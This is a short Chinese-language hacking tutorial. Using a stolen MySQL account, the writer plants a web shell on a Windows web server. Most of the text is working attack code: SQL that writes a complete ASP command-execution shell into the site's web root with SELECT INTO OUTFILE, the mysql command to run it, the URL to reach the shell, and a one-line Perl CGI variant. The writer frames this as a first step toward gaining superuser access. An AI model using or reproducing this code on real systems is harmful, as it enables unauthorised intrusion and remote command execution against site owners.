一天,突然得到一网站的mysql的账号,并查到它的主页所在位置为c:\www\www,首先在网上下载一个cmd.asp程序,然后写一个cmd.sql程序以便进行连接,把cmd.asp上传至它的目录,cmd.sql内容如下:
use test;
create table tmp(cmd TEXT);
insert into tmp values("<%@ Language=VBScript %>");
insert into tmp values("<%");
insert into tmp values("Dim oScript");
insert into tmp values("Dim oScriptNet");
insert into tmp values("Dim oFileSys, oFile");
insert into tmp values("Dim szCMD, szTempFile");
insert into tmp values("On Error Resume Next");
insert into tmp values("' -- create the COM objects that we will be using -- '");
insert into tmp values('Set oScript = Server.CreateObject("WSCRIPT.SHELL")');
insert into tmp values('Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")');
insert into tmp values('Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")');
insert into tmp values("' -- check for a command that we have posted -- '");
insert into tmp values('szCMD = Request.Form(".CMD")');
insert into tmp values('If (szCMD <> "") Then');
insert into tmp values("' -- Use a poor mans pipe ... a temp file -- '");
insert into tmp values('szTempFile = "C:\" & oFileSys.GetTempName( )');
insert into tmp values('Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)');
insert into tmp values('Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)');
insert into tmp values("End If");
insert into tmp values("%>");
insert into tmp values("<HTML>");
insert into tmp values("<BODY>");
insert into tmp values('<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">');
insert into tmp values('<input type=text name=".CMD" size=45 value="<%= szCMD %>">');
insert into tmp values('<input type=submit value="Run">');
insert into tmp values("</FORM>");
insert into tmp values("<PRE>");
insert into tmp values('<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>');
insert into tmp values("<br>");
insert into tmp values("<%");
insert into tmp values("If (IsObject(oFile)) Then");
insert into tmp values("' -- Read the output from our command and remove the temp file -- '");
insert into tmp values("On Error Resume Next");
insert into tmp values("Response.Write Server.HTMLEncode(oFile.ReadAll)");
insert into tmp values("oFile.Close");
insert into tmp values("Call oFileSys.DeleteFile(szTempFile, True)");
insert into tmp values("End If");
insert into tmp values("%>");
insert into tmp values("</BODY>");
insert into tmp values("</HTML>");
select * from tmp into outfile "c:\\www\\www\\234.asp";
drop table tmp;
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在用insert into往表里添加内容时，不能只用一个insert into将内容全部添加进去，要一行一行的加，不然就会出现错误，所以每一行都得有一个insert into.
然后进行连接:
c:\mysql\bin\mysql -u user -p password -h ip <cmd.sql
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如果变为:
则表明建立asp文件成功!然后:
http:\\www.xxx.com/234.asp
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便可以得到一个普通用户的shell了!第一步成功了，成为超级用户也不会是难事吧!
如果通过mysql上传CGI文件的话就不用那么长篇了,
cmd.sql:
use test;
create table tmp(cmd TEXT);
insert into tmp values('system @ARGV');
select * from tmp into outfile "c:\\www\\www\\234.cgi";
drop table tmp;
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然后就可以通过http:\\www.xxx.com/234.cgi?dir c:\了,同样也得到了一个普通用户的shell了
